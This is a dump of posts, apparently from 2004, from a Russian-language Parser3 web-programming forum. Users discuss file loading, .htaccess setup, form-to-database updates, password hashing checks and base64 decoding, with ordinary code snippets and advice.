Отсюда вопрос каковы основные плюсы и минусы того и другого метода?\
\
Желательно объяснить в контексте БД + внутренние средства поиска или текстовые файлы + внешняя поисковая система (типа Yandex.Server или подобных)."
"29480","у xdoc::load больше нет дополнительных параметров.\
связано с введением протокола parser://\
\
пользуйтесь $file[^file::load[name;params]], потом $file.text"
"29481","эк загнули :)\
\
с файликами тоже можно.\
но. где хранить метаинформацию?\
если в самом файлике, то построить оглавление за месяц = прочитать ворох файликов. если не в самом файлике, то ворох получается вдвое больше..."
"29483","При записи:\
[code]$myfile[^file::load[text;1.xml;$.method[POST] $.headers[$.User-Agent[parser3]] $.any-status(1)]]\
$myfile.text[/code]\
Ошибка: 'load' invalid option passed [parser.runtime]\
\
Записав так: [code]$myfile[^file::load[text;1.xml;]][/code] - никаких ошибок."
"29484","метаинформацию можно и в базе."
"29486","у меня такое ощущение, что вы сдублировали index.html в два места:\
\
[code]\
/index.html << смотрите сюда, видите ошибку\
/subdir/index.html << его копия\
/subdir/auto.p << то, где определён метод\
[/code]"
"29488","paf правильно говорит -- дело в какой-то мелочи. Вы пока не сильно далеко зашли, не трудно будет вернуться."
"29489","По-моему, БД в первую очередь как раз предназначена для хранения текстов. Не зря же там like приделали и остальной search...\
А файлики - это крайний случай - либо БД нет, либо записи - 10 строчек, из-за которых даже лень к БД коннектиться. А для средних объемов - новостей небольших, заметок, записей в гостевухе лучше всего идет XML под майонезом.\
\
Ну а если нужен поиск - то только БД, остальное уже изврат."
"29492","в корень веб-сервера\
\
2. назовите функцию одной буквой \"n\"."
"29493","Попробуйте:\
1. Если пример копировали из CMD'шника, то уберите ВСЕ пробелы в конце строк.\
\
2. Перед sections.cfg поставьте слэш:\
$sections[^table::load[/sections.cfg]]\
\
3. Читали файл \\WebServers\\home\\cgi-glob\\parser3\\README.txt?\
Файл parser3_wrapper.exe в данной директории НЕ является непосредственно интерпретатором Parser, он лишь выполняет переадресацию на \"настоящий\" процессор: \\usr\\local\\parser3\\parser3.exe. Это позволяет легко устанавливать \"копию\" Parser на другой виртуальный хост, не производя копирования больших файлов.\
\
Я создаю в каждом домене папку cgi-bin и переписываю туда все содержимое папки \\WebServers\\usr\\local\\parser3\\. Мне так удобнее.\
\
   .htaccess:\
# назначение обработчиком .html страниц:\
AddHandler parsed-html html\
Action parsed-html /cgi-bin/parser3\
\
# запрет на доступ к .cfg и .p файлам:\
<Files ~ \"\\.(p|cfg)$\">\
Order allow,deny\
Deny from all\
</Files>"
"29496","Вознамерился я воплотить у себя на сайте atom api, в связи с чем стал копаться не только с привычными HTTP GET и HEAD, но и с PUT и DELETE (http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html#sec9.7). \
\
Теста ради я кинул в корень /test.txt и открыл в браузере файлик с таким кодом:[code]@main[]\
$file[\
	^file::load[text;http://127.0.0.1/etc/img/q.gif;\
		$.method[DELETE]\
#		$.any-status(1)\
	]\
]\
$result[$file.text</pre>][/code]\
\
Парсер ругнулся на unknown status 302. Я раскомментировал any-status и получил шаблонную html-страницу, вид которой описан у меня в auto.p. Я зачесал репу и полез в rfc, в котором сказано [quote]A successful response SHOULD be 200 (OK) if the response includes an entity describing the status, 202 (Accepted) if the action has not yet been enacted, or 204 (No Content) if the action has been enacted but the response does not include an entity.[/quote]\
\
\"Да-а\", сказали мы с Иван Иванычем, и запустили [b]telnet 127.0.0.1 80[/b]:[code]DELETE /test.txt HTTP/1.1\
HOST: 127.0.0.1[/code]Апач квакнул и выдал[code]HTTP/1.1 302 Found\
Date: Thu, 13 May 2004 10:19:04 GMT\
Server: Apache/1.3.27 (Win32) Parser/3.1.3beta\
location: /\
content-length: 6716\
Content-Type: text/html; charset=windows-1251\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>и так далее[/code]\
\
Отчего сволочной апач так себя ведёт? Нафига он выдаёт location (которого слушается Parser)? Объясните мне, неразумному!"
"29497","чтобы там был весь www и cgi-bin, ровно так, как они у вас на диске.\
\
если он у меня заработает, будем считать, что вы морочите нам голову."
"29498","Добавление [code]<Limit GET POST HEAD PUT DELETE OPTIONS TRACE CONNECT>\
Order allow,deny\
Allow from all\
</Limit>[/code] не помогло."
"29500","распаковываю ваш архив,\
запускаю даже просто в консоли, метод \"n\" прекрасно находится.\
то, что тут ругается про колонку \"uri\" так это отдельная проблема, вы писали о незапускающемся ^navigation.\
\
[code]\
C:\\...ents and Settings\\paf\\My Documents\\test\\www>...\\My Documents\\test\\cgi-bin\\parser3.exe\" index.html\
\
\
<html>\
<head><title>Unhandled Exception (Debug)</title></head>\
<body>\
<H1>Unhandled Exception (Debug)</H1>\
\
\
<pre>column not found</pre>\
\
<b>uri</b><br>\
<pre>C:/Documents and Settings/paf/My Documents/test/www/auto.p(7)</pre>\
\
exception.type=parser.runtime\
\
        <hr>\
\
                <tt>menu</tt> C:/Documents and Settings/paf/My Documents/test/www/auto.p(5)<br>\
\
                <tt>n</tt> C:/Documents and Settings/paf/My Documents/test/www/index.html(1)<br>\
...\
[/code]"
"29506","он неправильный.\
поэтому такая ошибка.\
\
2. в следующий раз, когда будете писать сообщение о проблеме, имейте в виду, что если было сообщение об ошибке вида\
sdlfhsdgfksjhjhdsg\
а потом оно стало вида\
sdl;theipu4ty394y69ryhgd\
\
то это ДРУГАЯ ошибка, и надо это указать в своём сообщении, вместо того, чтобы говорить \"по прежнему не работает\".\
\
3. имейте в виду, что доверие к себе вы этим диалогом подорвали сразу и надолго."
"29508","Уважаемый, знаете как тут принято делать, если лень думать и читать документацию?\
\
Если есть какое-то сообщение об ошибке, то это сообщение copy/paste в форму поиска слева, и смотрится, было ли решение на форуме.\
\
Вторым делом читаете faq. Там тоже много интересного.\
\
Третьим делом вы всё-таки заставляете себя подумать чуток, полистать страничку-другую документации.\
\
А уже потом составляется грамотное письмо: там вы перечисляете что делали, что получили, что хотели получить, какие шаги предприняли.\
Неправильно: \"У меня нифига не работает.\"\
Правильно:   http://www.parser.ru/forum/?id=29496\
\
После этого люди могут начать вам помогать. До сих пор мы видели цирк с вами и PAFом в главной роли. Вот только не понятно, кто был клоуном.."
"29509","Вроде все написано русским языком (в документации). Я делаю перепроверяю, делаю то что в faq, делаю то что paf говорит но не фига не работает.\
Скажите что я должен увидеть на index.html - некое подобие меню \
не так ли. Я его не вижу. вот и вся проблема."
"29510","в почте, чтобы не флудить на форуме."
"29513","http://www.egoroff.spb.ru/portfolio/download/"
"29514","если в коде встречается несколько пробельных символов подряд, парсер оставляет только первый из них.\
как сделать, что бы он их не трогал, а оставлял как есть."
"29516","Имеется XML с включением base64 encode картинки. Документ содержит элемент вида <file xmlns:dt=\"urn:schemas-microsoft-com:datatypes\" dt:dt=\"bin.base64\"> ... тут base64 данные ... </file>.\
Возможно ли извлечь оттуда собственно файл (декодировать и сохранить куда-нибудь) средствами Парсера, или проще звать Perl, передавая ему содержимое элемента и уже перловым модулем декодировать/сохранять ? Посоветуйте, плиз, как к этой задаче подойти, или какие есть альтернативы, если кто уже эту проблему решал."
"29517","я говорю не про отображение в браузере, а то, что делает именно парсер. Даже если через него пропустить такой код:\
[code]\
<html>\
  <head>\
    ..\
  </head>\
  <body>\
    ..\
  </body>\
</html>\
[/code]\
То получишь тоже, но без все пробелов. Об этом в документации написано."
"29518","[b]Вот такая ошибка:[/b]\
[Thu May 13 23:52:04 2004] /test/: ................../html/classes/session.p(190:87): 'date' date may not be overwritten with date, store it to variable instead [parser.runtime]\
\
[b]Вот код на который он жалуется:[/b]\
[code]\
@count_session_ip[time][time;now;date]\
$now[^date::now[]]\
$date[^date::create($now-^time.int(15)/1440)]\
$result[^int:sql{SELECT COUNT(id) FROM ip WHERE dt_start >= '$date' OR dt_update >= '$date'}] # Ошибку в этой строке после последнего рубля\
[/code]"
"29519","...а ещё это не раз обсуждалось в этом форуме."
"29520","P.S.\
конструкция:\
[code]\
$now[^date::now[]]\
$date[^date::create($now-^time.int(15)/1440)]\
[/code]\
\
может быть запросто заменена такой:\
[code]\
$date[^date::now(-^time.int(15)/1440)]\
[/code]\
"
"29524","Я постил и encode и decode для base64\
Дальше все просто - base64-данные - обычная строка"
"29527","Там кодирование же, а каким образом развернуть хеши обратно, я что-то не совсем понимаю, туповат-с. Попытка это использовать позорно провалилась :( Можно пару слов про алгоритм - как переписать для задачи декодирования ?"
"29529","Парсер не умеет работать с бинарными данными. На первом же непечатном символе (типа 0x00) картинка сломается...\
Так что лучше взять или perl или соответствующую утилиту."
"29530","Придется юзать Perl и не морочить голову. Хотя и жаль, что непосредственно Parser-ом не выйдет."
"29532","мешает цена яндекса - 16000 американских рублей, это за Enterprise, только с ней, по моему можно серъёзно работать, остальные все так, фигня. Хотя и Pro стоит тоже немало - около 6000, что просто нереально для маленьких и средних проектов."
"29533","Здесь используется так называемый формат tab-delimited. Столбцы разделяются знаком табуляции, а строки - переводом каретки. При копировании этой таблицы в текстовый редактор данное форматирование будет создано автоматически....\
\
Но я вроде так и сделал."
"29534","Он бесплатен и для маленьких сайтов - самое оно.\
Или mnogoSearch - кривоватый, зато совсем бесплатный."
"29535","вот ваш файл (из site.zip архива из моей почты).\
зачем, скажем, после section_id сделан перевод строки?\
\
[code]\
section_id\
\
 name\
 uri\
 \
1\
\
 Главная\
 /\
 \
2\
\
 Новости\
 /news/\
 \
3\
\
 Контакты\
 /contacts/\
 \
4\
\
 Цены\
 /price/\
 \
5\
\
 Ваше мнение\
 /gbook/\
 \
[/code]"
"29537","Как мне кажется баг, отправил по почте"
"29538","всё так и задумано. нет ошибки.\
\
ваш код:\
[code]\
@bag[]\
Зделайте пременную ^$bag в методе @tmp[] локальной<br>\
И этого текста вам невидать\
\
@tmp[][bag]\
# Он ненайдёт метода @bag[]\
# тк bag объявлен локальной переменной\
$bag[^bag[]]\
$bag\
[/code]"
"29539","Пока этот код в классе он выдаёт ошибку метод ^bag[] ненайден\
Если этот код вне класса этой ошибки нет"
"29540","1. Выкиньте денвер.\
2. Скачайте http://www.bougakov.com/misc/parser_demo_ver_0_1alpha.zip\
3. Распакуйте прямо на диск C:\
4. Зайдите в получившуюся папку C:\\My website\
5. Кликните по Apache Manager.lnk\
6. Кликните по MySQL4 Manager.lnk\
В System tray появится две иконки в виде светофорчика.\
7. Откройте браузер, впечатайте адрес http://127.0.0.1\
8. Начните радостно хлопать в ладоши.\
9. Когда устанете, начните разбираться, как оно работает.\
Начните с разглядывания файлов\
\"с:\\My website\\Сайты\\ParserDemo\\HTML\\index.html\" и \"с:\\My website\\Сайты\\ParserDemo\\HTML\\auto.p\" \
\
========================================\
\
Всем остальным - это кусок моего проекта \"нашего парсерного Денвера\". К этому добавятся инсталлятор, полнофункциональный сайт-пример, smtp-эмулятор моего авторства, доп. модули с perl, php и python, и удобная контрольная панель вместо \"светофорчиков\"; монструозных perl-скриптов для потрошения hosts и виртуальных дисков в духе Denver не будет."
"29541","файл карёжит именно так.\
\
Давайте будем добрее к людям. Это сложно, конечно, но минимизировать затраты нервов на них можно (---> http://www.parser.ru/forum/?id=29540)"
"29542","http://www.parser.ru/forum/?id=29540"
"29543","да и понятно что защита не идеальная, но ГОРАЗДО сильнее зато за счет такого несильного (имхо) усложнения..."
"29544","При всех несомненных плюсах и достоинствах Денвера это, ИМХО, удобнее и аккуратнее. Вот только mod_rewrite надо бы включить в дистрибутив, и сам дистрибутив NSIS (например) паковать, а то при распаковке в D:\\ вместо C:\\ некоторые траблы с ярлычками :)"
"29545","мне нужно, что бы парсер не оптимизировал пробельные символы не только в каком-то куске кода (например, в содержимом <textarea/>), а вообще.\
конкретная задача: есть большой .js файл, в котором пробелы оптимизировать нельзя, но надо некоторые места сгенерировать парсером. Но если я пропускаю этот js файл через парсер, он все оптимизирует, после чего js-скрипт не работает."
"29546","1. Rewrite там есть - посмотрите мой .htaccess, который я забыл оттуда погрохать\
2. Говорю же, инсталлятор будет."
"29547","Мне недаёт покая, моральная сторона вопроса.\
Я взял для построения БД анонимных прокси серверов информацию с сайта http://www.samair.ru/proxy/\
\
Насколько это честно относительно создателей сайта и базы?\
Если это не честно я, выложу без базы."
"29548","http://asha-city.ru/project/sessions/session_non_proxy_list.zip"
"29549","если метод определён не в пользовательском классе, он определён в классе MAIN.\
\
все методы класса MAIN считаются операторами, поиск операторов происходит в Parser в первую очередь, раньше локальных переменных. для ускорения.\
\
поэтому нашёлся оператор, а не локальная переменная.\
\
вывод: так и должно быть."
"29551","есть какиенить разработки?\
Как оказалось моих знаний С не совсем достаточно (вернее - совсем не достаточно) для данной задачи."
"29552","А планируется в заявленной контрольной панели добавление хостов, или можно не рассчитывать, и надо скрипты писать ? Roadmap бы какой-нибуть посмотреть, потому как вижу смысл мигрировать с покоцанного Денвера на Ваш вариант."
"29553","извините конечно, но Вы баклан. Я набрал в строчке поиска справа одно слово - оптимизация, мне нашлось пара десятков ссылок, среди которых я нашел то что нужно http://www.parser.ru/forum/?id=6490"
"29554","Или я чего-то не понял, или просмотрел, но у меня не выходит сделать так, чтобы парсер оперировал кусками кода на java : код содержит массу скобок, в т.ч. фигурных, поэтому напрямую не впишешь - компилятор парсера выдает ошибку... Пробовал в переменную загнать - та же песня - еще и кавычки не нравятся...\
Помогите, кто в этом деле ас!"
"29555","Нужно, чтобы при вводе в поля, парсер добавлял в таблицу новую строку. вот так я сделал:\
\
<form method=\"post\">\
Имя <br /><input type=\"text\" name=\"name\"><br />\
Возраст <br /><input type=\"text\" name=\"age\"><br />\
<input type=\"submit\"><br />\
\
\
^if(def $form:name && $form:age){ \
$tab[^table::create{name	age\
}]\
^tab.append{$form:name	$form:age} \
^tab.save[/test/test.cfg] \
}\
\
но, парсер, при новой записи, заменяет старую строку на новую, в результате, сколько не добавляй, остается одна строка, последнесозданная... пробовал оффсетом, ничего не получилось, или у меня руки из сердца ростут...как быть? подскажите...\
\
спасибо"
"29557","Как вариант: помещение всего этого балласта в отдельную папку в виде каких-нить *.js или-как-там, подключение с помощью <SCRIPT ...> и снабжение оной папки для апача поновее .htaccess типа RemoveHandler parsed-html .html  Очень способствует.... когда js чужой и его много..."
"29561","Допустим есть код\
[code]\
@main[]\
^if($table){\
  ^if($table2){\
    Выдаём ответ 1\
  }{\
    ^A[]\
  }\
}{\
  ^A[]\
}\
\
@A[]\
Код возможно требующий отладки.\
[/code]\
\
Его можно без ущерба для функциональности написать как:\
[code]\
@main[]\
$A{\
Код возможно требующий отладки.\
}\
\
\
^if($table){\
  ^if($table2){\
    Выдаём ответ 1\
  }{\
    $A\
  }\
}{\
  $A\
}\
[/code]\
\
[imho]По моим логическим рассуждениям второй вариант должен быть быстрее, но я незнаю, как парсер действует изнутри[/imho]"
"29563","то [b]в данном конкретном[/b] случае быстрее было-бы так:\
[code]^if($table && $table2){Выдаём ответ 1}{Код возможно требующий отладки.}[/code]\
\
а вообще ваш первый вариант с методом представляется более удобным, ведь обычно переменные мы используем для хранения информации, а методы - для манипуляции над ними. Начав хранить код в переменных в какой-то момент можно серёзно с этим всем запутаться (IMHO)."
"29564","Как отключить парсер в какой то директории. Если в корне сайта в htacces он включен."
"29565","ОТБОЙ. НАшёл ответ."
"29566","Я им никогда не пользовался.\
Но везде настоятельно советуют. Даже пустой @init[] должен присутствовать. Это чисто для иерархической связи классов?\
\
Вот у меня данные для класса в @auto[] грузятся. А следует их @init[] совать? Я так понимаю, что @init[] более гибок. В нужном месте все подгрузил. А в @auto[] все загружается уже при подсоединении класса. Так?"
"29568","Не пойму че вы тут обсуждаете? Web-server + parser + MySQL под Win`ды? Если да, то.\
ИМХО лучше чем, VMWare(Virtual Machine ware) на него ставишь Linux, FreeBSD - че угодно, и парсер и Apache, хоть MySQL с POSTGRE на палочке. И одновременно и винда и полноценная локал - web-площадка, даже IP свой. И chmod там и chown и все че хошь. А если другу дать, то просто образ всего настроенного переписыываешь в виде 4-е файлов. И все!"
"29569","Шоб ваще все языки загнулись под web акромя парсер!"
"29572","http://asha-city.ru/project/sessions/session.zip"
"29573","Надо выделить текст, и по выделениям определять, где есть пробелы, и где их нет."
"29575","В MySQL храняться пароли зашифрованные \
cript - ^math:crypt[$form:pass;^$apr1^$]\
после чего мне нужно проверить совпадает ли введённый пароль с хранящимся, я делал это так:\
\
[code]\
^if(def $user && def $pass){\
        $def[^math:crypt[$pass;^$apr1^$]]\
        ^connect[$connect_string]{\
        $log[^table::sql{select * from user WHERE mail='$user' and pass='^math:crypt[$pass;$def]'}]\
        }\
        ^if(def $log){\
                ^inter[]\
                }{ ^alert[] }\
                }\
[/code]\
Такой код не находит совпадений хотя они есть. Подскажите что делать ( кроме просмотра документации - это я уже сделал )"
"29578","[code]@body[]\
^connect[$connect_string]{\
	$news[^table::sql{select\
	id, date, header, type, author, ptxt, url, game, jpg \
	from files\
	where id='$form:i'}]\
\
<p><center><a href=\"index.html\">вверх</a></center></p>\
\
<FORM method=post><p>\
<table width=\"100%\"  border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\
  <tr>\
    <td>id</td>\
    <td>Раздел</td>\
    <td>Дата</td>\
    <td>тема</td>\
    <td>автор</td>\
    <td>текст</td>\
    <td>файл</td>\
    <td>жанр</td>\
    <td>рисунок</td>\
  </tr>\
  <tr>\
    <td>$news.id</td>\
    <td><input value=\"$news.type\" SIZE=8 name=\"type\"></td>\
    <td><input value=\"$news.date\" SIZE=8 name=\"date\"></td>\
    <td><input value=\"$news.header\" SIZE=8 name=\"header\"></td>\
    <td><input value=\"$news.author\" SIZE=8 name=\"author\"></td>\
    <td><TEXTAREA name=ptxt rows=10 cols=30>$news.ptxt</TEXTAREA></td>\
    <td><input value=\"$news.url\" SIZE=8 name=\"url\"></td>\
    <td><input value=\"$news.game\" SIZE=1 name=\"game\"></td>\
    <td><input value=\"$news.jpg\" SIZE=8 name=\"jpg\"></td>\
  </tr></table></p>\
<p><input type=\"submit\" value=\"Изменить\" name=\"posted\"></p></FORM>\
}\
\
^if(def $form:posted){\
	^connect[$connect_string]{ \
	^void:sql{\
	UPDATE files\
	SET type='$form:type', date='$form:date', header='$form:header', author='$form:author', ptxt='$form:ptxt', url='$form:url', game='$form:game', jpg='$form:jpg'\
	WHERE id='$news.id'\
	}\
	}\
	<p></p>\
	<b>Данные которые отправили<br>Раздел: $form:type<br>Дата: $form:date<br>Тема: $form:header<br>Автор: $form:author<br>Текст: $form:ptxt<br>Файл: $form:url<br>Жанр $form:game<br>Рисунок: $form:jpg</b>\
}{\
}[/code]\
Вот в этой штуке я апгрейжу строку в БД. Но в чём трабл: при этом самом апгрейде (когда уже нажал кнопко Изменить) остаются в полях формы прежние значения, а если их ещё раз вводиш, то они меняются нормально. Может это кеш, или переменные \"тормозят\"? неся за собой предыдущие значения."
"29579","[code]^if(^math:crypt[$from_user;$crypted] eq $crypted){1}{0}[/code]\
\
в $crypted должен быть хэш пароля из базы, у вас там хэш пароля от пользователя. В базе лежит пароль криптованый с другим salt, его и нужно подставлять в $crypted."
"29580","Поставил себе 600 на .html - получаю Permission denied из браузера."
"29581","Я поправил, идею должны понять, Update надо ставить выше по коду чем SELECT\
Потом были лишние ^connect...\
За работоспособностью кода не смотрел возможны ошибки типа непарность скобок.\
\
@body[]\
^connect[$connect_string]{\
\
^if(def $form:posted){\
	^void:sql{\
	UPDATE files\
	SET type='$form:type', date='$form:date', header='$form:header', author='$form:author', ptxt='$form:ptxt', url='$form:url', game='$form:game', jpg='$form:jpg'\
	WHERE id='$news.id'\
	}\
	<p></p>\
	<b>Данные которые отправили<br>Раздел: $form:type<br>Дата: $form:date<br>Тема: $form:header<br>Автор: $form:author<br>Текст: $form:ptxt<br>Файл: $form:url<br>Жанр $form:game<br>Рисунок: $form:jpg</b>\
}\
\
\
\
	$news[^table::sql{select\
	id, date, header, type, author, ptxt, url, game, jpg \
	from files\
	where id='$form:i'}]\
\
<p><center><a href=\"index.html\">вверх</a></center></p>\
\
<FORM method=post><p>\
<table width=\"100%\"  border=\"1\" cellspacing=\"0\" cellpadding=\"0\">\
  <tr>\
    <td>id</td>\
    <td>Раздел</td>\
    <td>Дата</td>\
    <td>тема</td>\
    <td>автор</td>\
    <td>текст</td>\
    <td>файл</td>\
    <td>жанр</td>\
    <td>рисунок</td>\
  </tr>\
  <tr>\
    <td>$news.id</td>\
    <td><input value=\"$news.type\" SIZE=8 name=\"type\"></td>\
    <td><input value=\"$news.date\" SIZE=8 name=\"date\"></td>\
    <td><input value=\"$news.header\" SIZE=8 name=\"header\"></td>\
    <td><input value=\"$news.author\" SIZE=8 name=\"author\"></td>\
    <td><TEXTAREA name=ptxt rows=10 cols=30>$news.ptxt</TEXTAREA></td>\
    <td><input value=\"$news.url\" SIZE=8 name=\"url\"></td>\
    <td><input value=\"$news.game\" SIZE=1 name=\"game\"></td>\
    <td><input value=\"$news.jpg\" SIZE=8 name=\"jpg\"></td>\
  </tr></table></p>\
<p><input type=\"submit\" value=\"Изменить\" name=\"posted\"></p></FORM>\
}"
"29583","То, что вы хотите, нужно выводить не после формы, а вместо оной.\
\
Во-первых, форма может быть длинной и такой хитрый ответ просто не будет виден юзеру, особенно при 800x600 (ибо ПОСЛЕ формы он выводится, юзер же ни в жисть не догадается, что после сабмита появится какой-то ответ после формы - воистину [i]неожиданно[/i] сие).\
Во-вторых, после сабмита формы не происходит перезагрузка страницы (это фича такая), засим данные остаются старые.\
\
Выход:\
\
в начале делаем Unique ID, открываем hashfile:\
[code]\
$uid[^math:uid64[]]\
$tmp[^hashfile::open[postok.dat]]\
[/code]\
после записи в БД, добываем last_insert_id, сохраняем ассоциацию [b]UniqueID -> last_insert_id[/b]\
[code]\
$tmp.$uid[$.value[$last_insert_id] $.expires(1)]\
[/code]\
передаем Unique ID через куку или урл:\
[code]\
$cookie:post_ok[$uid]\
$response:refresh[0]\
    или\
$response:location[http://mysite/post.html?post_ok=$uid]\
[/code]\
А в начале, перед выводом формы проверяем: есть ли кука или параметр (ежели есть - кладем в $post_ok), берем из хешфайла id в базе:\
[code]\
$id[$tmp.$post_ok]\
^if(^id.int(0)){\
    тут мы знаем, что юзер уже запостил данные, достаем их по $id\
    <p>Данные, которые отправили...</p>\
}{\
    нет id - юзер еще ничего не отправлял, выводим ему форму\
}\
[/code]\
\
Вот как-то так. Идея, надеюсь ясна.\
Хешфайл, в принципе, заменяется чем угодно, table.save или SQL опять же - главное сохранить UID -> database_id, а потом передать UID через куку или параметр урл.\
\
[b]Post scriptum:[/b]\
Сравните на досуге:\
это\
[code]\
<td><input value=\"$news.author\" SIZE=8 name=\"author\"></td>\
<td><TEXTAREA name=ptxt rows=10 cols=30>$news.ptxt</TEXTAREA></td>\
[/code]\
с этим\
[code]\
<td><input type=\"text\" name=\"author\" value=\"$news.author\" size=\"8\" /></td>\
<td><textarea name=\"ptxt\" rows=\"10\" cols=\"30\">$news.ptxt</textarea></td>\
[/code]\
сделайте, пожалуйста, выводы в пользу well-formed HTML.\
И будет вам (и юзерам вашим) счастье."
"29585","только в update-е нужно написать не WHERE id='$news.id' а where id='$form:i' и соответственно в самой форме написать:\
<input type=\"hidden\" name=\"i\" value=\"^form:i.int(0)\" />"
"29586","[code]\
@main[]\
^if($table){\
# Небыло вот этой строки\
	$table2[^table::sql{SELECT * FROM table WHARE ...}]\
  ^if($table2){\
    Выдаём ответ 1\
  }{\
    ^A[]\
  }\
}{\
  ^A[]\
}\
\
@A[]\
Код возможно требующий отладки.\
[/code]\
\
Его можно без ущерба для функциональности написать как:\
[code]\
@main[]\
$A{\
Код возможно требующий отладки.\
}\
\
\
^if($table){\
# Небыло вот этой строки\
	$table2[^table::sql{SELECT * FROM table WHARE ...}]\
  ^if($table2){\
    Выдаём ответ 1\
  }{\
    $A\
  }\
}{\
  $A\
}\
[code]"
"29588","Пытаюсь сгенерировать строку, в которой отображлся бы путь к текущему разделу, но не дисковый(файловый), а по заголовкам страниц, типа так : \
ГЛАВНАЯ :: НОВОСТИ :: КУЛЬТУРА :: ЗАРУБЕЖНАЯ\
для странички /news/kult/other/index.html \
Возможен ли вызов методов из страниц по пути? Вроде, в док-ии написано, что методы из auto.p выполняются по пути последовательно, но вот можно ли как-то передать параметры между ними? Или есть ПРАВИЛЬНЫЙ способ ?"
"29591","Ключевое слово \"дублирующей навигации\"\
\
А также класс http://www.parser.ru/forum/?id=6732"
"29595","1. Куда мне тогда выводить введёные данные? По-моему особо и не надо знать что ты там ввел(это фича у меня).\
2. Что-такое well-formed HTML?\
3. В БД придётся создать ещё таблицу?"
"29596","Я вам притащу свой старый добрый ноут с P-233 и вы попробуете на нём запустить вмварь, ok? Мало того, что проспорите, я на это цирковое представление ещё и билетов продам - и то выгода...\
\
Весь перечисленный комплекс работает у меня с usb flash, работает что на старом  ноутбуке, что на рабочем P4 с гигом памяти, где у меня нет админских прав. \
\
Не усложняйте всё, живите проще. И без крякнутой вмваре обойдётесь..."
"29598","Вы кажется уже спрашивали? И Вам уже отвечал http://www.parser.ru/forum/?id=26033 Времени на кардинальное переписывание у меня нет, тем более что стабильностью этого драйвера я удовлетворен. Как прежде драйвер полностью соответствует HEAD  версии parser. Все высказаное в моем предыдущем посте остается в силе...."
"29599","... данные, как вы определите, какую строку в БД будете обновлять?\
Верно это пробел в вашей форме. Вам предлагают создать скрытое поле формы, в процессе генерации страницы задать ему id обновляемой строки"
"29600","передаем Unique ID через куку или урл: \
$cookie:post_ok[$uid]\
$response:refresh[0]\
\
Я процытирую Мишу http://www.parser.ru/forum/?id=29589\
Помоему это будет существенно проще"
"29601","Извините за офтоп, но все таки почему ссылка в такой конструкции не работает ?\
\
[code]\
<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\
	<tr>\
		<td>\
			<img src=\"spacer.gif\" width=\"70>\
			<a href=\"http://site.ru/\"><img src=\"logo.gif\" border=\"0\" width=\"20\"></a>\
		</td>\
	</tr>\
</table>\
[/code]"
"29602","Попробуйте после 70 закрыть кавычки"
"29603","Без понятия.. я хозяин, группа тоже я :) но ведь не работает...\
\
Ставлю 700 на файл, который инклюдиться должен - получаю ошибку в инклюде..."
"29605","средствами парсер и предлагать его на загрузку пользователю. Данные для документа беруться из БД и регулярно меняются. Да и нужно ли для этого устанавливать парсер с поддержкой XML или нет."
"29606","Тк вы будете только генерировать XML, а преобразовывать его даже несобираетесь"
"29607","вам никакой @init не нужен, вы счастливы без него.\
пользовательские объекты вам пока не нужны.\
\
когда понадобятся пользовательские объекты, понадобится и динамический конструктор."
"29608","А как его сформировать. Мне необходимо приблизительно как на этом форуме кнопка XML"
"29610","Делаю следующее: в файл proba.html помещаю код\
[code]\
^connect[$connect_string]{\
$товары[^table::sql{\
	SELECT\
		product.Name AS \"Name\",\
		company.Name AS \"Company\",\
		company.Sort,\
		subgroup.Name AS \"Subgroup\",\
		subgroup.Name_One,\
		maingroup.Name AS \"Maingroup\",\
		company.ID,\
		subgroup.ID,\
		product.ID AS \"ProductID\",\
		product.Price,\
		product.ImgSmall,\
		product.Desc_short\
	FROM\
		product,\
		company,\
		subgroup,\
		maingroup\
	WHERE\
		product.Subgroup = subgroup.ID AND\
		maingroup.ID = subgroup.Main_Group AND \
		company.ID = product.company AND product.Subgroup = \"$form:fields.group\"\
	ORDER BY\
		Name_One, Sort, Company, Name\
	\
}]\
}\
\
<?xml version=\"1.0\" encoding=\"windows-1251\"?>\
<!DOCTYPE yml_catalog SYSTEM \"shops.dtd\">\
\
<yml_catalog date=\"^date_now.sql-string[]\"> \
\
<shop>\
<name>BestShop</name>\
<company>Best online seller Inc.</company>\
<url>http://best.seller.ru/</url>\
\
<offers>\
\
^товары.menu{\
\
<offer id=$товары.ProductID>\
\
<company>$товары.Company</company>\
<model>$товары.Name</model>\
<price>$товары.Price</price>\
\
<offer>\
\
}	\
\
\
</offers>\
</shop>\
\
\
</yml_catalog>\
[/code]"
"29612","Показывать всем живые ID не есть хорошо, особенно при операциях типа подтверждения введенных данных. Вместо id=20 кто мешает передать id=19 и увидеть предыдущий post? Утилиты типа AccessDiver делают это на раз.\
А вот Unique ID (с точки зрения здоровой паранойи) rules 4ever. Он гарантировано уникален, не связан напрямую с данными, имеет фиксированную длину...\
После прочтения книги [i]«Hackers Beware»[/i] by Eric Cole, я только утвердился во мнении, что безопасности слишком много не бывает."
"29613","есть какие-то другие проблемы? (на что жалуетесь?)\
возможно, вам необходим другой content-type?"
"29614","если и фигурировало, то очень завуалировано, т.к. присутствовало такое: WHERE id='$form:i'\
\
насколько понял я, речь идет об административном интерфейсе, который закрыть можно не средствами кодера, а используя например средства апача.\
\
в любом случае никто вам не мешает писать код так, как вам кажется проще/надежнее.\
\
однако мое мнение касающееся данного треда: перенести один блок кода из конца файла в начало и добавить одну строчку - это более простое решение, чем ставить все с ног на голову, особенно для человека, который не знает что такое <input type=\"hidden\" /> :)\
\
P.S. я пользуюсь именно тем механизмом, что привел. доступ к разделам, откуда можно менять информацию в БД закрывается средствами веб сервера\
P.P.S. если есть одна большая дыра (скрипт дает возможность изменить запись указав её id), то встраивать в него защиты бессмысленно. получив доступ к этому скрипту по http все данные можно похоронить."
"29615","[quote]\
1. Куда мне тогда выводить введёные данные? По-моему особо и не надо знать что ты там ввел(это фича у меня).\
[/quote]\
Можно и не выводить, просто написав, что-то типа POST OK или POST ERROR. Я описал механизм, который подходит для разных ситуаций (сам им пользуюсь).\
[quote]\
2. Что-такое well-formed HTML?\
[/quote]\
Well-formed - правильно сформированный, т.е. документ HTML должен соответствовать стандарту HTML.\
Идеальный вариант - XHTML. Это когда HTML пишется по правилам XML: теги и атрибуты lowercase, атрибуты в кавычках, теги правильно вложены, а непарные теги закрыты: [b]<br[color=\"red\"]/[/color]>[/b] и т.д.\
Это фактически культура программирования - такой код легко читать и править, опять же такой HTML легко можно преобразовать, например в WAP или в plain text, просто объявив его xml'ем и применив xsl-преобразование. И т.д.\
